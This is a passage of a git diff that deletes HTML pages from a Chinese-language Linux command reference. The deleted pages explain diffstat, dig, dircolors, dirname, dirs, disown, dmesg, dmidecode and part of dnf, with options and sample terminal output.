- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/diffstat.html b/linux-command.docset/Contents/Resources/Documents/c/diffstat.html deleted file mode 100644 index 1be5503bf8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/diffstat.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - diffstat 命令,Linux diffstat 命令详解:显示diff命令输出信息的柱状图 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

diffstat

-

显示diff命令输出信息的柱状图

-

补充说明

-

diffstat命令 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用|将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径。

-

语法

-
diffstat(选项)(参数)
-
-

选项

-
-n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名;
--p<文件名长度>:与-n参数相同,但此处的<文件名长度>包括了文件的路径;
--w:指定要输出时栏位的宽度;
--v:显示版本信息。
-
-

参数

-

文件:指定保存有diff命令的输出信息文件。

-

实例

-

将目录"test1"和"test2"下的同名文件"testf.txt"使用diff命令进行比较。然后使用diffstat命令对结果进行统计显示,输入如下命令:

-
diff test1 test2 | diffstat    #进行比较结果的统计显示
-
-

注意:使用这条命令可以非常方便地实现统计显示的功能。

-

对于查看文件中的内容,用户可以通过cat命令进行查看即可,具体操作如下:

-
cat test1/testf.txt           #查看test1/testf的内容
-abc
-def
-ghi
-jkl
-mno
-pqr
-stu
-vws
-
-cat test2/testf.txt          #查看test2/testf的内容
-abc
-def
-ghi
-jkl
-mno
-
-

从上面的文件内容显示,可以看到两个文件内容的差别。现在来运行刚才的命令,对文件比较的结果进行统计显示,结果如下:

-
testfile | 2 +-             #统计信息输出显示
-1 file changed, 1 insertion(+), 1 deletion(-)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dig.html b/linux-command.docset/Contents/Resources/Documents/c/dig.html deleted file mode 100644 index 99c2a974bf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dig.html +++ /dev/null @@ -1,119 +0,0 @@ - - - - - - - - - - - dig 命令,Linux dig 命令详解:域名查询工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dig

-

域名查询工具

-

补充说明

-

dig命令 是常用的域名查询工具,可以用来测试域名系统工作是否正常。

-

语法

-
dig(选项)(参数)
-
-

选项

-
@<服务器地址>:指定进行域名解析的域名服务器;
--b<ip地址>:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求;
--f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息;
--P:指定域名服务器所使用端口号;
--t<类型>:指定要查询的DNS数据类型;
--x<IP地址>:执行逆向域名查询;
--4:使用IPv4;
--6:使用IPv6;
--h:显示指令帮助信息。
-
-

参数

-
    -
  • 主机:指定要查询域名主机;
  • -
  • 查询类型:指定DNS查询的类型;
  • -
  • 查询类:指定查询DNS的class;
  • -
  • 查询选项:指定查询选项。
  • -
-

实例

-
[root@localhost ~]# dig www.jsdig.com
-
-; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> www.jsdig.com
-;; global options:  printcmd
-;; Got answer:
-;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2115
-;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0
-
-;; QUESTION SECTION:
-;www.jsdig.com.               IN      A
-
-;; ANSWER SECTION:
-www.jsdig.com.        0       IN      CNAME   host.1.jsdig.com.
-host.1.jsdig.com.     0       IN      A       100.42.212.8
-
-;; AUTHORITY SECTION:
-jsdig.com.            8       IN      NS      f1g1ns2.dnspod.net.
-jsdig.com.            8       IN      NS      f1g1ns1.dnspod.net.
-
-;; Query time: 0 msec
-;; SERVER: 202.96.104.15#53(202.96.104.15)
-;; WHEN: Thu Dec 26 11:14:37 2013
-;; MSG SIZE  rcvd: 121
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dircolors.html b/linux-command.docset/Contents/Resources/Documents/c/dircolors.html deleted file mode 100644 index 58539decd1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dircolors.html +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - dircolors 命令,Linux dircolors 命令详解:置ls命令在显示目录或文件时所用的色彩 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dircolors

-

置ls命令在显示目录或文件时所用的色彩

-

补充说明

-

dircolors命令 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令。

-

语法

-
dircolors(选项)(参数)
-
-

选项

-
-b或--sh或--bourne-shell:显示在Boume shell中,将LS_COLORS设为目前预设置的shell指令;
--c或--csh或--c-shell:显示在C shell中,将LS_COLORS设为目前预设置的shell指令;
--p或--print-database:显示预设置;
--help:显示帮助;
--version:显示版本信息。
-
-

参数

-

文件:指定用来设置颜色的文件。

-

实例

-
[root@localhost ~]# dircolors -p
-# Configuration file for dircolors, a utility to help you set the
-# LS_COLORS environment variable used by GNU ls with the --color option.
-# The keywords COLOR, OPTIONS, and EIGHTBIT (honored by the
-# slackware version of dircolors) are recognized but ignored.
-# Below, there should be one TERM entry for each termtype that is colorizable
-TERM linux
-TERM linux-c
-TERM mach-color
-TERM console
-TERM con132x25
-TERM con132x30
-TERM con132x43
-TERM con132x60
-TERM con80x25
-TERM con80x28
-TERM con80x30
-TERM con80x43
-TERM con80x50
-TERM con80x60
-TERM cygwin
-TERM dtterm
-TERM putty
-TERM xterm
-TERM xterm-color
-TERM xterm-debian
-TERM rxvt
-TERM screen
-TERM screen-bce
-TERM screen-w
-TERM vt100
-TERM Eterm
-# Below are the color init strings for the basic file types. A color init
-# string consists of one or more of the following numeric codes:
-# Attribute codes:
-# 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
-# Text color codes:
-# 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
-# Background color codes:
-# 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white
-NORMAL 00 # global default, although everything should be something.
-FILE 00 # normal file
-DIR 01;34 # directory
-LINK 01;36 # symbolic link. (If you set this to 'target' instead of a
- # numerical value, the color is as for the file pointed to.)
-FIFO 40;33 # pipe
-SOCK 01;35 # socket
-DOOR 01;35 # door
-BLK 40;33;01 # block device driver
-CHR 40;33;01 # character device driver
-ORPHAN 40;31;01 # symlink to nonexistent file
-SETUID 37;41 # file that is setuid (u+s)
-SETGID 30;43 # file that is setgid (g+s)
-STICKY_OTHER_WRITABLE 30;42 # dir that is sticky and other-writable (+t,o+w)
-OTHER_WRITABLE 34;42 # dir that is other-writable (o+w) and not sticky
-STICKY 37;44 # dir with the sticky bit set (+t) and not other-writable
-# This is for files with execute permission:
-exec 01;32
-# List any file extensions like '.gz' or '.tar' that you would like ls
-# to colorize below. Put the extension, a space, and the color init string.
-# (and any comments you want to add after a '#')
-# If you use DOS-style suffixes, you may want to uncomment the following:
-#.cmd 01;32 # executables (bright green)
-#.exe 01;32
-#.com 01;32
-#.btm 01;32
-#.bat 01;32
-.tar 01;31 # archives or compressed (bright red)
-.tgz 01;31
-.arj 01;31
-.taz 01;31
-.lzh 01;31
-.zip 01;31
-.z 01;31
-.Z 01;31
-.gz 01;31
-.bz2 01;31
-.deb 01;31
-.rpm 01;31
-.jar 01;31
-# image formats
-.jpg 01;35
-.jpeg 01;35
-.gif 01;35
-.bmp 01;35
-.pbm 01;35
-.pgm 01;35
-.ppm 01;35
-.tga 01;35
-.xbm 01;35
-.xpm 01;35
-.tif 01;35
-.tiff 01;35
-.png 01;35
-.mov 01;35
-.mpg 01;35
-.mpeg 01;35
-.avi 01;35
-.fli 01;35
-.gl 01;35
-.dl 01;35
-.xcf 01;35
-.xwd 01;35
-# audio formats
-.flac 01;35
-.mp3 01;35
-.mpc 01;35
-.ogg 01;35
-.wav 01;35
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dirname.html b/linux-command.docset/Contents/Resources/Documents/c/dirname.html deleted file mode 100644 index afdc19117b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dirname.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - dirname 命令,Linux dirname 命令详解:去除文件名中的非目录部分 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dirname

-

去除文件名中的非目录部分

-

补充说明

-

dirname命令 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个/及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个/后无字符,dirname 命令使用倒数第二个/,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。

-

语法

-
dirname(选项)(参数)
-
-

选项

-
--help:显示帮助;
---version:显示版本号。
-
-

实例

-
dirname //
-结果为 /
-
-dirname /a/b/
-结果为:/a
-
-dirname a
-结果为 .
-
-dirname a/b
-结果为路径名 a
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dirs.html b/linux-command.docset/Contents/Resources/Documents/c/dirs.html deleted file mode 100644 index f17d6652f9..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dirs.html +++ /dev/null @@ -1,132 +0,0 @@ - - - - - - - - - - - dirs 命令,Linux dirs 命令详解:显示目录堆栈。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dirs

-

显示目录堆栈。

-

概要

-
dirs [-clpv] [+N] [-N]
-
-

主要用途

-
    -
  • -

    显示目录堆栈。

    -
  • -
  • -

    清空目录堆栈。

    -
  • -
-

选项

-
-c    清空目录堆栈。
--l    堆栈内以~开头的目录在显示时展开。
--p    将目录堆栈内的每一个目录按行显示。
--v    将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。
-
-

参数

-

+N(可选):不带参数执行dirs命令显示的列表中,左起的第N个目录将被显示。(从0开始计数)

-

-N(可选):不带参数执行dirs命令显示的列表中,右起的第N个目录将被显示。(从0开始计数)

-

返回值

-

返回成功除非提供了非法选项或执行出现错误。

-

例子

-
# 添加目录到堆栈。
-[user2@pc ~]$ dirs
-~
-[user2@pc ~]$ pushd -n ~/Desktop
-~ ~/Desktop
-[user2@pc ~]$ pushd -n ~/Pictures
-~ ~/Pictures ~/Desktop
-[user2@pc ~]$ pushd -n ~/bin
-~ ~/bin ~/Pictures ~/Desktop
-
-# 选项和参数的示例:
-[user2@pc ~]$ dirs -l
-/home/user2 /home/user2/bin /home/user2/Pictures /home/user2/Desktop
-[user2@pc ~]$ dirs -p
-~
-~/bin
-~/Pictures
-~/Desktop
-[user2@pc ~]$ dirs -v
- 0  ~
- 1  ~/bin
- 2  ~/Pictures
- 3  ~/Desktop
-[user2@pc ~]$ dirs +2
-~/Pictures
-[user2@pc ~]$ dirs -2
-~/bin
-[user2@pc ~]$ dirs -c
-[user2@pc ~]$ dirs
-~
-
-

注意

-
    -
  1. bash的目录堆栈命令包括dirs popd pushd
  2. -
  3. 当前目录始终是目录堆栈的顶部。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/disown.html b/linux-command.docset/Contents/Resources/Documents/c/disown.html deleted file mode 100644 index faedbfa53a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/disown.html +++ /dev/null @@ -1,177 +0,0 @@ - - - - - - - - - - - disown 命令,Linux disown 命令详解:从当前的shell中移除作业。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

disown

-

从当前的shell中移除作业。

-

概要

-
disown [-h] [-ar] [jobspec ... | pid ...]
-
-

主要用途

-
    -
  • -

    从当前shell的作业列表中移除全部作业。

    -
  • -
  • -

    从当前shell的作业列表中移除指定的一到多个作业。

    -
  • -
  • -

    从当前shell的作业列表中移除正在运行的作业。

    -
  • -
  • -

    标记作业,使得它们在当前shell退出后也不会结束。

    -
  • -
-

选项

-
-h    标记每个作业标识符,这些作业将不会在shell接收到sighup信号时接收到sighup信号。
--a    移除所有的作业。
--r    移除运行的作业。
-
-

参数

-

jobspec(可选):要移除的作业标识符,可以是一到多个。

-

pid(可选):要移除的作业对应的进程ID,可以是一到多个。

-

返回值

-

返回成功除非未开启作业控制或执行出现错误。

-

例子

-
# 演示。
-[user2@pc] ssh 192.168.1.4
-user2@192.168.1.4's password:
-# 此时按下ctrl+z使得交互停止。
-[1]+  Stopped                 ssh 192.168.1.4
-
-[user2@pc] ssh 192.168.1.7
-user2@192.168.1.7's password:
-# 此时按下ctrl+z使得交互停止。
-[1]+  Stopped                 ssh 192.168.1.7
-
-[user2@pc] sleep 120 &
-[3] 28986
-
-# 列出作业及pid信息。
-[user2@pc] jobs -l
-[1]- 28756 Stopped                 ssh 192.168.1.4
-[2]+ 28833 Stopped                 ssh 192.168.1.7
-[3]  28986 Running                 sleep 120 &
-
-# 删除运行状态的作业。
-[user2@pc] disown -r
-
-[user2@pc] jobs -l
-[1]- 28756 Stopped                 ssh 192.168.1.4
-[2]+ 28833 Stopped                 ssh 192.168.1.7
-
-# 注意disown只是移除作业,并没有停止。
-[user2@pc] pgrep -a -u user2 -f 'sleep 120'
-28986 sleep 120
-
-# 删除指定的作业。
-[user2@pc] disown %2
-bash: warning: deleting stopped job 2 with process group 28833
-
-[user2@pc] jobs -l
-[1]- 28756 Stopped                 ssh 192.168.1.4
-
-# 注意disown只是移除作业,并没有停止。
-[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.7'
-28833 ssh 192.168.1.7
-
-# 删除全部作业。
-[user2@pc] disown -a
-bash: warning: deleting stopped job 1 with process group 28756
-
-[user2@pc] jobs -l
-
-# 注意disown只是移除作业,并没有停止。
-[user2@pc] pgrep -a -u user2 -f 'ssh 192.168.1.4'
-28756 ssh 192.168.1.4
-
-
# 演示-h选项的作用。
-[user2@pc] sleep 90 &
-[1] 109080
-
-[user2@pc] jobs -l
-[1]+ 109080 Running                 sleep 90 &
-
-[user2@pc] disown -h %1
-
-[user2@pc] exit
-
-# 此时前一个终端已经关闭,现在打开新终端查找该作业。
-[user2@pc] pgrep -a -u user2 -f 'sleep 90'
-109080 sleep 90
-
-

注意

-
    -
  1. bash的作业控制命令包括bg fg kill wait disown suspend
  2. -
  3. 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
-

参考链接

- - -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dmesg.html b/linux-command.docset/Contents/Resources/Documents/c/dmesg.html deleted file mode 100644 index 685f4bb14c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dmesg.html +++ /dev/null @@ -1,104 +0,0 @@ - - - - - - - - - - - dmesg 命令,Linux dmesg 命令详解:显示Linux系统启动信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dmesg

-

显示Linux系统启动信息

-

补充说明

-

dmesg命令 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在/var/log/dmesg文件里。

-

语法

-
dmesg(选项)
-
-

选项

-
-c:显示信息后,清除ring buffer中的内容;
--s<缓冲区大小>:预设置为8196,刚好等于ring buffer的大小;
--n:设置记录信息的层级。
-
-

实例

-
[root@localhost ~]# dmesg | head
-Linux version 2.6.18-348.6.1.el5 (mockbuild@builder17.centos.org) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-54)) #1 SMP Tue May 21 15:34:22 EDT 2013
-BIOS-provided physical RAM map:
- BIOS-e820: 0000000000010000 - 000000000009f400 (usable)
- BIOS-e820: 000000000009f400 - 00000000000a0000 (reserved)
- BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved)
- BIOS-e820: 0000000000100000 - 000000007f590000 (usable)
- BIOS-e820: 000000007f590000 - 000000007f5e3000 (ACPI NVS)
- BIOS-e820: 000000007f5e3000 - 000000007f5f0000 (ACPI data)
- BIOS-e820: 000000007f5f0000 - 000000007f600000 (reserved)
- BIOS-e820: 00000000e0000000 - 00000000e8000000 (reserved)
-
-

查看硬盘基础信息

-
dmesg | grep sda
-
-[    2.442555] sd 0:0:0:0: [sda] 488281250 512-byte logical blocks: (250 GB/232 GiB)
-[    2.442590] sd 0:0:0:0: [sda] Write Protect is off
-[    2.442592] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00
-[    2.442607] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
-[    2.447533]  sda: sda1
-[    2.448503] sd 0:0:0:0: [sda] Attached SCSI disk
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dmidecode.html b/linux-command.docset/Contents/Resources/Documents/c/dmidecode.html deleted file mode 100644 index ddf3a7500d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dmidecode.html +++ /dev/null @@ -1,334 +0,0 @@ - - - - - - - - - - - dmidecode 命令,Linux dmidecode 命令详解:在Linux系统下获取有关硬件方面的信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dmidecode

-

在Linux系统下获取有关硬件方面的信息

-

补充说明

-

dmidecode命令 可以让你在Linux系统下获取有关硬件方面的信息。dmidecode的作用是将DMI数据库中的信息解码,以可读的文本方式显示。由于DMI信息可以人为修改,因此里面的信息不一定是系统准确的信息。dmidecode遵循SMBIOS/DMI标准,其输出的信息包括BIOS、系统、主板、处理器、内存、缓存等等。

-

DMI(Desktop Management Interface,DMI)就是帮助收集电脑系统信息的管理系统,DMI信息的收集必须在严格遵照SMBIOS规范的前提下进行。SMBIOS(System Management BIOS)是主板或系统制造者以标准格式显示产品管理信息所需遵循的统一规范。SMBIOS和DMI是由行业指导机构Desktop Management Task Force(DMTF)起草的开放性的技术标准,其中DMI设计适用于任何的平台和操作系统。

-

DMI充当了管理工具和系统层之间接口的角色。它建立了标准的可管理系统更加方便了电脑厂商和用户对系统的了解。DMI的主要组成部分是Management Information Format(MIF)数据库。这个数据库包括了所有有关电脑系统和配件的信息。通过DMI,用户可以获取序列号、电脑厂商、串口信息以及其它系统配件信息。

-

语法

-
dmidecode [选项]
-
-

选项

-
-d:(default:/dev/mem)从设备文件读取信息,输出内容与不加参数标准输出相同。
--h:显示帮助信息。
--s:只显示指定DMI字符串的信息。(string)
--t:只显示指定条目的信息。(type)
--u:显示未解码的原始条目内容。
---dump-bin file:将DMI数据转储到一个二进制文件中。
---from-dump FILE:从一个二进制文件读取DMI数据。
--V:显示版本信息。
-
-

dmidecode参数string及type列表:

-

(1)Valid string keywords are:

-
    -
  • bios-vendor
  • -
  • bios-version
  • -
  • bios-release-date
  • -
  • system-manufacturer
  • -
  • system-product-name
  • -
  • system-version
  • -
  • system-serial-number
  • -
  • system-uuid
  • -
  • baseboard-manufacturer
  • -
  • baseboard-product-name
  • -
  • baseboard-version
  • -
  • baseboard-serial-number
  • -
  • baseboard-asset-tag
  • -
  • chassis-manufacturer
  • -
  • chassis-type
  • -
  • chassis-version
  • -
  • chassis-serial-number
  • -
  • chassis-asset-tag
  • -
  • processor-family
  • -
  • processor-manufacturer
  • -
  • processor-version
  • -
  • processor-frequency
  • -
-

(2)Valid type keywords are:

-
    -
  • bios
  • -
  • system
  • -
  • baseboard
  • -
  • chassis
  • -
  • processor
  • -
  • memory
  • -
  • Cache
  • -
  • connector
  • -
  • slot
  • -
-

(3)type全部编码列表:

-
    -
  • BIOS
  • -
  • System
  • -
  • Base Board
  • -
  • Chassis
  • -
  • Processor
  • -
  • Memory Controller
  • -
  • Memory Module
  • -
  • Cache
  • -
  • Port Connector
  • -
  • System Slots
  • -
  • On Board Devices
  • -
  • OEM Strings
  • -
  • System Configuration Options
  • -
  • BIOS Language
  • -
  • Group Associations
  • -
  • System Event Log
  • -
  • Physical Memory Array
  • -
  • Memory Device
  • -
  • 32-bit Memory Error
  • -
  • Memory Array Mapped Address
  • -
  • Memory Device Mapped Address
  • -
  • Built-in Pointing Device
  • -
  • Portable Battery
  • -
  • System Reset
  • -
  • Hardware Security
  • -
  • System Power Controls
  • -
  • Voltage Probe
  • -
  • Cooling Device
  • -
  • Temperature Probe
  • -
  • Electrical Current Probe
  • -
  • Out-of-band Remote Access
  • -
  • Boot Integrity Services
  • -
  • System Boot
  • -
  • 64-bit Memory Error
  • -
  • Management Device
  • -
  • Management Device Component
  • -
  • Management Device Threshold Data
  • -
  • Memory Channel
  • -
  • IPMI Device
  • -
  • Power Supply
  • -
  • Additional Information
  • -
  • Onboard Device
  • -
-

实例

-
dmidecode -t 1  # 查看服务器信息
-dmidecode | grep 'Product Name' # 查看服务器型号 
-dmidecode |grep 'Serial Number' # 查看主板的序列号 
-dmidecode -t 2  # 查看主板信息
-dmidecode -s system-serial-number # 查看系统序列号 
-dmidecode -t memory # 查看内存信息 
-dmidecode -t 11 # 查看OEM信息 
-dmidecode -t 17 # 查看内存条数
-dmidecode -t 16 # 查询内存信息
-dmidecode -t 4  # 查看CPU信息
-
-cat /proc/scsi/scsi # 查看服务器硬盘信息
-
-

不带选项执行dmidecode命令通常会输出所有的硬件信息。dmidecode命令有个很有用的选项-t,可以按指定类型输出相关信息,假如要获得处理器方面的信息,则可以执行:

-
[root@localhost ~]# dmidecode -t processor
-# dmidecode 2.11
-SMBIOS 2.5 present.
-
-Handle 0x0001, DMI type 4, 40 bytes
-Processor Information
-        Socket Designation: Node 1 Socket 1
-        Type: Central Processor
-        Family: Xeon MP
-        Manufacturer: Intel(R) Corporation
-        id: C2 06 02 00 FF FB EB BF
-        Signature: Type 0, Family 6, Model 44, Stepping 2
-        Flags:
-                FPU (Floating-point unit on-chip)
-                VME (Virtual mode extension)
-                DE (Debugging extension)
-                PSE (Page size extension)
-                TSC (time stamp counter)
-                MSR (Model specific registers)
-                PAE (Physical address extension)
-                MCE (Machine check exception)
-                CX8 (CMPXCHG8 instruction supported)
-                APIC (On-chip APIC hardware supported)
-                SEP (Fast system call)
-                MTRR (Memory type range registers)
-                PGE (Page global enable)
-                MCA (Machine check architecture)
-                CMOV (Conditional move instruction supported)
-                PAT (Page attribute table)
-                PSE-36 (36-bit page size extension)
-                CLFSH (CLFLUSH instruction supported)
-                DS (Debug store)
-                ACPI (ACPI supported)
-                MMX (MMX technology supported)
-                FXSR (FXSAVE and FXSTOR instructions supported)
-                SSE (Streaming SIMD extensions)
-                SSE2 (Streaming SIMD extensions 2)
-                ss (Self-snoop)
-                HTT (Multi-threading)
-                TM (Thermal monitor supported)
-                PBE (Pending break enabled)
-        Version: Intel(R) Xeon(R) CPU           E5620  @ 2.40GHz
-        Voltage: 1.2 V
-        External Clock: 5866 MHz
-        Max Speed: 4400 MHz
-        Current Speed: 2400 MHz
-        Status: Populated, Enabled
-        Upgrade: ZIF Socket
-        L1 Cache Handle: 0x0002
-        L2 Cache Handle: 0x0003
-        L3 Cache Handle: 0x0004
-        Serial Number: Not Specified
-        Asset Tag: Not Specified
-        Part Number: Not Specified
-        Core Count: 4
-        Core Enabled: 4
-        Thread Count: 8
-        Characteristics:
-                64-bit capable
-
-Handle 0x0055, DMI type 4, 40 bytes
-Processor Information
-        Socket Designation: Node 1 Socket 2
-        Type: Central Processor
-        Family: Xeon MP
-        Manufacturer: Not Specified
-        ID: 00 00 00 00 00 00 00 00
-        Signature: Type 0, Family 0, Model 0, Stepping 0
-        Flags: None
-        Version: Not Specified
-        Voltage: 1.2 V
-        External Clock: 5866 MHz
-        Max Speed: 4400 MHz
-        Current Speed: Unknown
-        Status: Unpopulated
-        Upgrade: ZIF Socket
-        L1 Cache Handle: Not Provided
-        L2 Cache Handle: Not Provided
-        L3 Cache Handle: Not Provided
-        Serial Number: Not Specified
-        Asset Tag: Not Specified
-        Part Number: Not Specified
-        Characteristics: None
-
-

查看内存的插槽数,已经使用多少插槽。每条内存多大,已使用内存多大

-
dmidecode|grep -P -A5 "Memory\s+Device"|grep Size|grep -v Range 
-
-#   Size: 2048 MB
-#   Size: 2048 MB
-#   Size: 4096 MB
-#   Size: No Module Installed
-
-

查看内存支持的最大内存容量

-
dmidecode|grep -P 'Maximum\s+Capacity'
-
-#  Maximum Capacity: 16 GB
-
-

查看内存的频率

-
dmidecode|grep -A16 "Memory Device"
-
-#   Memory Device
-#     Array Handle: 0x1000
-#     Error Information Handle: Not Provided
-#     Total Width: 72 bits
-#     Data Width: 64 bits
-#     Size: 2048 MB
-#     Form Factor: DIMM
-#     Set: 1
-#     Locator: DIMM_A1
-#     Bank Locator: Not Specified
-#     Type: DDR3
-#     Type Detail: Synchronous Unbuffered (Unregistered)
-#     Speed: 1333 MHz
-#     Manufacturer: 00CE000080CE
-#     Serial Number: 4830F3E1
-#     Asset Tag: 01093200
-#     Part Number: M391B5673EH1-CH9
-#   --
-#   Memory Device
-#     Array Handle: 0x1000
-#     Error Information Handle: Not Provided
-#     Total Width: 72 bits
-#     Data Width: 64 bits
-#     Size: 2048 MB
-#     Form Factor: DIMM
-#     Set: 1
-#     Locator: DIMM_A2
-#     Bank Locator: Not Specified
-#     Type: DDR3
-#     Type Detail: Synchronous Unbuffered (Unregistered)
-#     Speed: 1333 MHz
-#     Manufacturer: 00AD000080AD
-#     Serial Number: 1BA1F0B5
-#     Asset Tag: 01110900
-#     Part Number: HMT325U7BFR8C-H9
-#   --
-
-dmidecode|grep -A16 "Memory Device"|grep 'Speed'
-
-#  Speed: 1333 MHz
-#  Speed: 1333 MHz
-#  Speed: 1333 MHz
-#  Speed: Unknown
-
-```shell
-
-
-<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
-
-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/dnf.html b/linux-command.docset/Contents/Resources/Documents/c/dnf.html deleted file mode 100644 index a882761795..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/dnf.html +++ /dev/null @@ -1,212 +0,0 @@ - - - - - - - - - - - dnf 命令,Linux dnf 命令详解:新一代的RPM软件包管理器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

dnf

-

新一代的RPM软件包管理器

-

补充说明

-

DNF 是新一代的rpm软件包管理器。他首先出现在 Fedora 18 这个发行版中。而最近,它取代了yum,正式成为 Fedora 22 的包管理器。

-

DNF包管理器克服了YUM包管理器的一些瓶颈,提升了包括用户体验,内存占用,依赖分析,运行速度等多方面的内容。DNF使用 RPM, libsolv 和 hawkey 库进行包管理操作。尽管它没有预装在 CentOS 和 RHEL 7 中,但你可以在使用 YUM 的同时使用 DNF 。你可以在这里获得关于 DNF 的更多知识:《 DNF 代替 YUM ,你所不知道的缘由》

-

DNF 的最新稳定发行版版本号是 1.0,发行日期是2015年5月11日。 这一版本的额 DNF 包管理器(包括在他之前的所有版本) 都大部分采用 Python 编写,发行许可为GPL v2.

-

安装 DNF 包管理器

-

DNF 并未默认安装在 RHEL 或 CentOS 7系统中,但是 Fedora 22 已经默认使用 DNF .

-

1、为了安装 DNF ,您必须先安装并启用 epel-release 依赖。

-

在系统中执行以下命令:

-
yum install epel-release
-
-

或者

-
yum install epel-release -y
-
-

其实这里并没有强制使用”-y”的理由,相反的,在不使用”-y”的情况下,用户可以在安装过程中查看到底有哪些东西被安装进了系统。但对于没有这个需求的用户,您可以在 YUM 中使用”-y”参数来自动安装所有东西。

-

2、使用 epel-release 依赖中的 YUM 命令来安装 DNF 包。在系统中执行以下命令:

-
yum install dnf
-
-

然后, DNF 包管理器就被成功的安装到你的系统中了。接下来,是时候开始我们的教程了!在这个教程中,您将会学到27个用于 DNF 包管理器的命令。使用这些命令,你可以方便有效的管理您系统中的 RPM 软件包。现在,让我们开始学习 DNF 包管理器的27条常用命令吧!

-

查看 DNF 包管理器版本

-

用处:该命令用于查看安装在您系统中的 DNF 包管理器的版本

-
dnf –version
-
-

!Check-DNF-Version

-

查看系统中可用的 DNF 软件库

-

用处:该命令用于显示系统中可用的 DNF 软件库

-
dnf repolist
-
-

查看系统中可用和不可用的所有的 DNF 软件库

-

用处:该命令用于显示系统中可用和不可用的所有的 DNF 软件库

-
dnf repolist all
-
-

列出所有 RPM 包

-

用处:该命令用于列出用户系统上的所有来自软件库的可用软件包和所有已经安装在系统上的软件包

-
dnf list
-
-

列出所有安装了的 RPM 包

-

用处:该命令用于列出所有安装了的 RPM 包

-
dnf list installed
-
-

列出所有可供安装的 RPM 包

-

用处:该命令用于列出来自所有可用软件库的可供安装的软件包

-
dnf list available
-
-

搜索软件库中的 RPM 包

-

用处:当你不知道你想要安装的软件的准确名称时,你可以用该命令来搜索软件包。你需要在”search”参数后面键入软件的部分名称来搜索。(在本例中我们使用”nano”)

-
